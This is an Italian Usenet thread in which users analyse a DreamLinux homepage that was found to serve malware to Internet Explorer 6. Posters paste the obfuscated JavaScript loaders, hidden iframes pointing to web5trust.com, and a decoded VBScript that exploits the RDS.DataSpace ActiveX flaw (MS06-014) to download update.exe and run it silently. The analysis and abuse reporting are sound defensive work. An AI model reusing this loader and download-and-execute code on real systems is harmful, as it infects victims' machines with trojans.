Newsgroup: it.comp.os.linux.iniziare
Titolo: Virus su sito DreamLinux ? Ma come!!

Sul sito principale, ufficiale e di riferimento
per la distribuzione DreamLinux
c'è un virus pericoloso per i sistemi Windows con Internet Explorer.
http://www.dreamlinux.com.br/
alla fine c'è uno script che decritta qualcosa...
e fa scaricare ed eseguire automaticamente
un virus, che, ripeto, è solo per le macchine con Internet Explorer 6.X.
Certo che così non credo si avvicinino gli utenti a Linux.....
E' vergognoso.
Ammettiamo che sia stato un deface : perchè non è stata ancora
ripristinata la pagina ???
Legalmente quel sito è passibile di denuncia penale per danni informatici
e conseguenze varie.
Saluti
Francesco
--------------------------------
Inviato via 
http://arianna.libero.it/usenet/

 e conseguenze varie.
Conosci cosi' bene la legislazione del brasile?
-- 
           |Save our planet!
    Ciao   |Save wildlife!
   roberto |For your E-MAIL use ONLY recycled Bytes  !!
           |roberto poggi   
rpo...@softhome.net

un virus, che, ripeto, è solo per le macchine con Internet Explorer 6.X.
però non sai cosa sia e cosa faccia?
io IE non lo uso mai...

 e conseguenze varie.
Puo essere , ma trattandosi del brasile ne dubito , hanno ben altri problemi
a cui pensare ...
-- 
2.6.20.1

 Conosci cosi' bene la legislazione del brasile?
lol !
Per niente, figurati.
Ma se danneggi pc di altre nazioni, sei perseguibile e sanzionabile a
distanza.
Almeno spero.....se c'è un minimo di giustizia.
Ciao


 c'è un virus pericoloso per i sistemi Windows con Internet Explorer.
Hai ragione.
Il codice della pagina principale cerca di aprire un iframe che 
carica:
hxxp://
web5trust.com/nnews/index.php
Questa con la stessa tecnica carica:
hxxp://
web5trust.com/sutra/in.cgi?default
A sua volta questa genera del codice per mettere in esecuzione un exe 
caricato da qui:
hxxp://
web5trust.com/nnews5/get.php?file=exe
Si tratta di un trojan: Spy-Agent.bg
Il dominio 
web5trust.com
 risolve in 58.65.239.42 (Hong Kong)
O il sito ha subito un defacement oppure costoro sono semplicemente 
dei criminali.
xpost e follow up su: it.news.net-abuse 


Sono dei trojan .exe.
Prima di tutto si scopre che c'è un iframe :
 <iframe width=1 height=1 border=0 frameborder=0
src='
http://web5trust.com/nnews/index.php
' style='display:none;'></iframe>
da 
web5trust.com
 (il cui Registrant COSA STRANA è protetto da
PrivacyProtect)
e cmq il server si trova nella capitale delle Nuova Zelanda, a Wellington.
Non finisce qua : quel sito ha un altro javascript che pare fare la stessa
cosa e invece no.
<iframe width=1 height=1 border=0 frameborder=0
src='
http://web5trust.com/sutra/in.cgi?default
'
style='display:none;'></iframe>
dove c'è la funzione "makemelaugh(x)" definita e usata.....con una stringa x
lunghissima !
e quindi :
http://web5trust.com/nnews/get.php?file=exe
cioè il virus.
E' un mostro!
Ah.....questi pazzi hippi drogati neozelandesi.... altro che brasile ;-))
Sarà uno che odia Linux e cerca di screditarlo sul sito di una distro,
o uno che odia Windows + IE ?
O che odia entrambi ? ihhihi
segnalerò tutto a PrivacyProtect e al webmaster di dreamlinux
mi sa.
In Nuova Zelanda esiste il carcere per queste cose ? ;-)))
Byeeee


 forse perche' un'utente linux si guarda bene dall'usare IE ??
Sì, ma un utente linux - specie se è il webmaster del sito ufficiale 
di una distribuzione linux - i propri server li tiene aggiornati e 
controllati. Altrimenti è un inetto (linux o non linux).


bien.


mi sa.
Ma il colpevole sarebbe questo appeso in coda alla homepage?
<!-- ~ --><script language=JavaScript>function dc(x){var
l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,49,46,22,39,35,15,23,8,28,0,0,0,0,0,0,2,25,55,54,30,40,13,57,14,12,53,47,43,19,38,3,37,33,58,18,36,44,20,24,51,60,29,0,0,0,0,41,0,0,45,48,9,32,17,59,31,6,61,5,4,7,27,50,56,62,34,10,52,1,16,21,26,42,11);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}dc("kNdXOhF18O9QSX9cfBINV3WXaXUcFmFNV3p1shZcahFNw3pc7MIoahUo7mIc75APkxjJi5_eFmZtw0_rssFcmOAt7ObJfKE1s5UrzKIcSnbrIK9caBjrwB9J@3EJfXZoa5_euXUJw4I190GosKIcDspNAy8XOhF18OYN")</script><!--
~ -->
che a me sa tanto di virus, piů che defacement.

 che a me sa tanto di virus, piů che defacement.
Su quello ci sono pochi dubbi.
Il dubbio e':
Il webmaster ce l'ha messo apposta, o il sito e' stato "defacciato"
e l'acaro di turno ci ha messo il regalino?



Vedi, quello non è IL virus nè UN virus, ma solo una premessa...
In realtà sembra essere(info da ditte antivirus varie) un exploit per IE.
Se lo si decripta o debugga in qualche modo,
ti riporta ad una pagina su un server 
web5trust.com
.
Tale pagina a sua volta contiene un javascript IDENTICO
tranne che per la stringa finale, che fa in modo di portarti
ad un url differente, ma sullo stesso server sempre.
Questa nuova url in pratica fa scaricare il virus update[1].exe (o
update.exe
o nomi simili) , di 27KB circa,
che in realtà è TR/PSW.Small.BS.45
Un trojan.
Quello script quindi, non è per niente il virus....che non si trova su
dreamlinux,
ma su 
web5trust.com
.
Vi riporto i contatti per gli avvisi :
cf at 
cihost.com
postmaster at 
privacyprotect.com
contact at 
privacyprotect.org
postmaster at 
dreamlinux.com
A me non va perchè ho Alice SMTP .....e mi ha rigettato indietro i messaggi
a tutti questi contatti ma che schifo di servizio è mai questo!
Ciao
Francesco


che in realtà è TR/PSW.Small.BS.45
ho fatto la prova con ietab ed alla fine mi chiede di eseguire o scaricare quel trojan,
ma la gente ancora accetta di eseguire un eseguibile così?
Continuo a leggere in giro di virus presi con IE,
e mi chiedo se esistano ancora queste vulnerabilità
o se sono solo dei babbei che doppiocliccano a cazzo di cane.

 o se sono solo dei babbei che doppiocliccano a cazzo di cane.
LOL ! magari entrambe le cose.....
però mi sa che il problema è sempre la vulerabilità, che è in uno degli url
forniti nel thread, anzi....proprio il javascript, che è allo stesso tempo
un exploit di per sè
e un decifratore (per decifrare la stringa dell'url e quindi puntare al
nuovo url e così via...)


 che a me sa tanto di virus, più che defacement.
Non è un virus, ma il tentativo di usare un exploit per IE6 per 
scaricare un trojan.
Dunque è un trojan downloader.
Se vuoi provare a eseguirlo copialo in un file di testo e sostituisci:
    document.write(r)
con
    document.write(r.replace("<", "&lt;"))
(che "disinnesca" i tag html contenuti nel codice) e apri il file con 
un browser.
Il programmillo produrrà quanto segue
<iframe width=1 height=1
    border=0 frameborder=0
    src='
http://web5trust.com/nnews/index.php
'
    style='display:none;'>
E' un iframe invisibile che tenta di caricare una pagina.
Questa pagina contiene un codice analogo:
<script language=JavaScript>function dc(x){var 
l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,12,11,30,26,52,3,59,28,6,0,0,0,0,0,0,33,61,7,0,57,18,17,45,31,21,43,13,58,29,55,1,22,27,24,5,20,35,44,50,10,32,40,0,0,0,0,42,0,38,39,56,60,37,41,23,9,51,48,8,62,4,49,53,46,19,34,25,36,54,16,14,47,15,2);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}dc("Sahi6HKnk68@Ei8jFN1aTPRiCiVjKBKaTPcnXHMjCHKaIPcjgq1WCHVWgB1jgUseS4Ao9UfYKBM5I0frXXKjB6s5g6GoFxZnXUVrP6M5gqVr1xdr921i491j6q15hBGYS4M58b1jRXRj1QMohq1NHpVW26VbzpsaXWdjgq1WCxh")</script>
Anche in questo caso fai la stessa sostituzione di prima. Questo 
genera:
<iframe
    width=1 height=1
    border=0 frameborder=0
    src='
http://web5trust.com/sutra/in.cgi?default
'
    style='display:none;'>
Di nuovo, la pagina che l'iframe tenta di caricare contiene del 
codice:
<script language=JavaScript>
function makemelaugh(x){var 
l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,15,31,25,27,11,37,19,14,47,0,0,0,0,0,0,50,17,51,3,13,18,41,61,6,1,10,35,23,48,42,43,55,2,60,24,52,12,44,57,58,21,22,0,0,0,0,5,0,30,56,7,26,40,46,38,36,45,20,0,29,8,4,34,53,9,62,16,49,32,54,39,33,59,28);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(170^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}makemelaugh("JQ..."U6")</script>
La stringa passata a "makemelaugh()" è lunghissima.
Fai la sostituzione di rito e vedrai che viene decodificato quanto 
segue (vbscript):
01  <HTML xmlns:IE>
03  on error resume next
04  dl = 
http://web5trust.com/nnews5/get.php?file=exe
05  Set df = document.createElement("object")
06  cls1="clsid:BD96"
07  cls2="C556-65A"
08  cls3="3-11D0-9"
09  cls4="83A-00C04FC29E36"
10  clsfull=cls1&cls2&cls3&cls4
11  df.setAttribute "classid",clsfull
13  strr1="Mic"
14  strr2="roso"
15  strr3="ft."
16  strr4="XML"
17  strr5="HTTP"
18  strr=strr1&strr2&strr3&strr4&strr5
19  Set x = df.CreateObject(strr,"")
20  ab1="A"
21  ab2="dod"
23  ab3="b.S"
24  ab4="t"
25  ab5="re"
26  ab6="am"
27  strb1=ab1&ab2&ab3&ab4&ab5&ab6
28  strb5=strb1
29  set YY = df.createobject(strb5,"")
30  YY.type = 1
31  str6="GET"
33  x.Open str6, dl, False
34  x.Send
35  fnamezz1="update.exe"
36  scripp1="Scrip"
37  scripp2="ting"
38  scripp3=".Fil"
39  scripp4="eSyste"
40  scripp5="mObject"
41  scripp=scripp1&scripp2&scripp3&scripp4&scripp5
43  set FF = df.createobject(scripp,"")
44  set tmp = F.GetSpecialFolder(2)
45  fnamezz1= FF.BuildPath(tmp,fnamezz1)
46  YY.open
47  YY.write
48  x.responseBody
49  YY.savetofile fnamezz1,2
40  YY.close
51  set MM = df.createobject("Shell.Application","")
53  MM.ShellExecute fnamezz1,"","","open",0
54  </script>
55  404 Not Found
Nota:
linea 10:
  viene ricostruita la stringa
    "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
  che nel registry di windows identifica la classe
  RDS.DataSpace, associata a un controllo ActiveX
  per il quale esiste un exploit classificato come
  "critical" (e patchato dall'aprile 2006):
 
http://www.microsoft.com/technet/security/Bulletin/MS06-014.mspx
linea 18:
  viene ricostruita la stringa "Microsoft.XMLHTTP"
linea 27:
  viene ricostruita la stringa "Adodb.Stream"
linea 41:
  viene ricostruita la stringa "Scripting.FillSystemObject"
e per finire:
linea 4:
  Questo link:
    "
http://web5trust.com/nnews5/get.php?file=exe
"
  è l'indirizzo di un troione